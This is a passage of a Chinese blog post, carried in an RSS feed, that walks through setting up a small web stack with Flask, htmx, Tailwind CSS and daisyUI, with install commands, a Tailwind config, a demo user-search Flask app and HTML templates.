      <pubDate>Sat, 28 Oct 2023 20:39:01 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20231028_flask_htmlx_tailwindcss/</guid>
      <description>使用 Flask Htmlx Tailwind CSS 和 daisyUI 搭建一个简单的 web 全栈开发环境。</description>
      <content:encoded><![CDATA[<h2 id="目的">目的</h2>
<p>想掌握一套 web 全栈开发技术，用于开发、验证小项目，但不想花太大学习成本，需要一套轻量、简洁、易上手的技术栈。</p>
<p>查找一些资料之后，最终的选择如下</p>
<p>后端：flask
前端：htmlx+Tailwind CSS+daisyUI</p>
<ul>
<li>htmlx 可以在html中使用属性发送 AJAX 请求，处理服务器响应，可以替换大部分需要 JavaScript 来实现功能。</li>
<li>Tailwind CSS 可以让我们在 html 中添加特定的工具类便能完成页面布局，无须单独写css。</li>
<li>daisyUI 则是一个基于 Tailwind CSS 的组件库，简化 Tailwind CSS 的使用。</li>
</ul>
<h2 id="搭建步骤">搭建步骤</h2>
<p>安装 python 和 flask 环境</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">py -3 -m venv venv
</span></span><span class="line"><span class="cl">.<span class="se">\v</span>env<span class="se">\S</span>cripts<span class="se">\A</span>ctivate.ps1
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pip install flask flask-assets
</span></span></code></pre></td></tr></table>
</div>
</div><p>安装 Tailwind CSS 和 daisyUI</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">npm i -D daisyui@latest
</span></span><span class="line"><span class="cl">npm install -D @tailwindcss/typography
</span></span></code></pre></td></tr></table>
</div>
</div><p>如果不需要 daisyUI 组件，可以直接使用 Tailwind CSS 的命令行工具，而不需要安装 npm 和 nodejs。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pip install pytailwindcss  
</span></span></code></pre></td></tr></table>
</div>
</div><p>如果要 daisyUI 暂时没办法，没有独立的安装工具。</p>
<p>下载 htmlx</p>
<p>下载 <a href="https://unpkg.com/htmx.org/dist/htmx.min.js">htmx.min.js</a> 到 static\src\htmx.min.js 路径</p>
<h2 id="整合-tailwind-css-到-flask">整合 Tailwind CSS 到 flask</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">npx tailwindcss init
</span></span></code></pre></td></tr></table>
</div>
</div><p>修改 tailwind.config.js</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="cm">/** @type {import(&#39;tailwindcss&#39;).Config} */</span>
</span></span><span class="line"><span class="cl"><span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">content</span><span class="o">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;./templates/**/*.html&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nx">theme</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">extend</span><span class="o">:</span> <span class="p">{},</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nx">plugins</span><span class="o">:</span> <span class="p">[</span><span class="nx">require</span><span class="p">(</span><span class="s2">&#34;@tailwindcss/typography&#34;</span><span class="p">),</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;daisyui&#34;</span><span class="p">)],</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// daisyUI config (optional - here are the default values)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">daisyui</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">themes</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="c1">// true: all themes | false: only light + dark | array: specific themes like this [&#34;light&#34;, &#34;dark&#34;, &#34;cupcake&#34;]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">darkTheme</span><span class="o">:</span> <span class="s2">&#34;dark&#34;</span><span class="p">,</span> <span class="c1">// name of one of the included themes for dark mode
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">base</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="c1">// applies background color and foreground color for root element by default
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">styled</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="c1">// include daisyUI colors and design decisions for all components
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">utils</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="c1">// adds responsive and modifier utility classes
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">rtl</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="c1">// rotate style direction from left-to-right to right-to-left. You also need to add dir=&#34;rtl&#34; to your html tag and install `tailwindcss-flip` plugin for Tailwind CSS.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">prefix</span><span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="c1">// prefix for daisyUI classnames (components, modifiers and responsive class names. Not colors)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">logs</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="c1">// Shows info about daisyUI version and used config in the console when building your CSS
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>增加文件 static\src\main.css</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">@</span><span class="k">tailwind</span> <span class="nt">base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">tailwind</span> <span class="nt">components</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">tailwind</span> <span class="nt">utilities</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>然后编写 flask app 应用 app.py，使用 flask-assets 打包生成的 js 和 css文件</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">flask_assets</span> <span class="kn">import</span> <span class="n">Environment</span><span class="p">,</span> <span class="n">Bundle</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">assets</span> <span class="o">=</span> <span class="n">Environment</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">css</span> <span class="o">=</span> <span class="n">Bundle</span><span class="p">(</span><span class="s2">&#34;src/main.css&#34;</span><span class="p">,</span> <span class="n">output</span><span class="o">=</span><span class="s2">&#34;dist/main.css&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">js</span> <span class="o">=</span> <span class="n">Bundle</span><span class="p">(</span><span class="s2">&#34;src/*.js&#34;</span><span class="p">,</span> <span class="n">output</span><span class="o">=</span><span class="s2">&#34;dist/main.js&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">assets</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="s2">&#34;css&#34;</span><span class="p">,</span> <span class="n">css</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">assets</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="s2">&#34;js&#34;</span><span class="p">,</span> <span class="n">js</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">css</span><span class="o">.</span><span class="n">build</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">js</span><span class="o">.</span><span class="n">build</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">User</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">id</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fname</span><span class="p">,</span> <span class="n">lname</span><span class="p">,</span> <span class="n">email</span> <span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">User</span><span class="o">.</span><span class="n">id</span>  <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">id</span> <span class="o">=</span> <span class="n">User</span><span class="o">.</span><span class="n">id</span> 
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">fname</span> <span class="o">=</span> <span class="n">fname</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">lname</span> <span class="o">=</span> <span class="n">lname</span> 
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">email</span> <span class="o">=</span> <span class="n">email</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">search</span><span class="p">(</span> <span class="bp">self</span><span class="p">,</span> <span class="n">word</span> <span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">word</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="nb">all</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">fname</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">lname</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">email</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">word</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span> <span class="ow">in</span> <span class="nb">all</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">users</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;abe&#34;</span><span class="p">,</span> <span class="s2">&#34;vida&#34;</span><span class="p">,</span> <span class="s2">&#34;abe@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;betty&#34;</span><span class="p">,</span> <span class="s2">&#34;b&#34;</span><span class="p">,</span> <span class="s2">&#34;bb@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;joe&#34;</span><span class="p">,</span> <span class="s2">&#34;robinson&#34;</span><span class="p">,</span> <span class="s2">&#34;jrobinson@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;Luis&#34;</span><span class="p">,</span> <span class="s2">&#34;Cortes&#34;</span><span class="p">,</span> <span class="s2">&#34;Luis@somewhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;marty&#34;</span><span class="p">,</span> <span class="s2">&#34;hinkle&#34;</span><span class="p">,</span> <span class="s2">&#34;mhinkle@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;matthew&#34;</span><span class="p">,</span> <span class="s2">&#34;robinson&#34;</span><span class="p">,</span> <span class="s2">&#34;mrobinson@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;collin&#34;</span><span class="p">,</span> <span class="s2">&#34;western&#34;</span><span class="p">,</span> <span class="s2">&#34;cwest@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;marty&#34;</span><span class="p">,</span> <span class="s2">&#34;hinkle II&#34;</span><span class="p">,</span> <span class="s2">&#34;mhinkle2@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;joe&#34;</span><span class="p">,</span> <span class="s2">&#34;robinson&#34;</span><span class="p">,</span> <span class="s2">&#34;jrobinson@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;juan&#34;</span><span class="p">,</span> <span class="s2">&#34;vida&#34;</span><span class="p">,</span> <span class="s2">&#34;juanvida@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;marty&#34;</span><span class="p">,</span> <span class="s2">&#34;hinkle III&#34;</span><span class="p">,</span> <span class="s2">&#34;mhinkle3@nowhere.com&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">User</span><span class="p">(</span><span class="s2">&#34;zoe&#34;</span><span class="p">,</span> <span class="s2">&#34;omega&#34;</span><span class="p">,</span> <span class="s2">&#34;zoe@nowhere.com&#34;</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s2">&#34;index.html&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s2">&#34;/search&#34;</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s2">&#34;POST&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">search</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">word</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;search&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">word</span> <span class="ow">is</span> <span class="kc">None</span> <span class="ow">or</span> <span class="n">word</span> <span class="o">==</span> <span class="s2">&#34;&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s2">&#34;search.html&#34;</span><span class="p">,</span> <span class="n">users</span><span class="o">=</span><span class="p">[])</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s2">&#34;search.html&#34;</span><span class="p">,</span> <span class="n">users</span><span class="o">=</span><span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">u</span><span class="p">:</span> <span class="n">u</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">word</span><span class="p">),</span> <span class="n">users</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">debug</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>编写模板文件</p>
<p>templates\base.html</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;en&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;h-full&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;utf-8&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">http-equiv</span><span class="o">=</span><span class="s">&#34;X-UA-Compatible&#34;</span> <span class="na">content</span><span class="o">=</span><span class="s">&#34;IE=edge&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;viewpoert&#34;</span> <span class="na">content</span><span class="o">=</span><span class="s">&#34;width=device-width, initial-scale=1.0&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    {% assets &#34;css&#34; %}
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;{{ ASSET_URL }}&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    {% endassets %}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    {% assets &#34;js&#34; %}
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">script</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text/javascript&#34;</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;{{ ASSET_URL }}&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    {% endassets %}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>Flask Htmlx daisyUI Demo <span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;h-full&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    {% block content %}
</span></span><span class="line"><span class="cl">    {% endblock content %}
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>templates\index.html</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">{% extends &#34;base.html&#34; %}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">{% block content %}
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">main</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;max-w-screen-md mx-auto flex flex-col gap-8&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;w-full max-w-screen-md mx-auto&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">header</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;w-full flex items-center p-8&#34;</span> <span class="na">hx-boost</span><span class="o">=</span><span class="s">&#34;true&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;/&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;btn btn-secondary btn-outline&#34;</span><span class="p">&gt;</span>Home<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">header</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
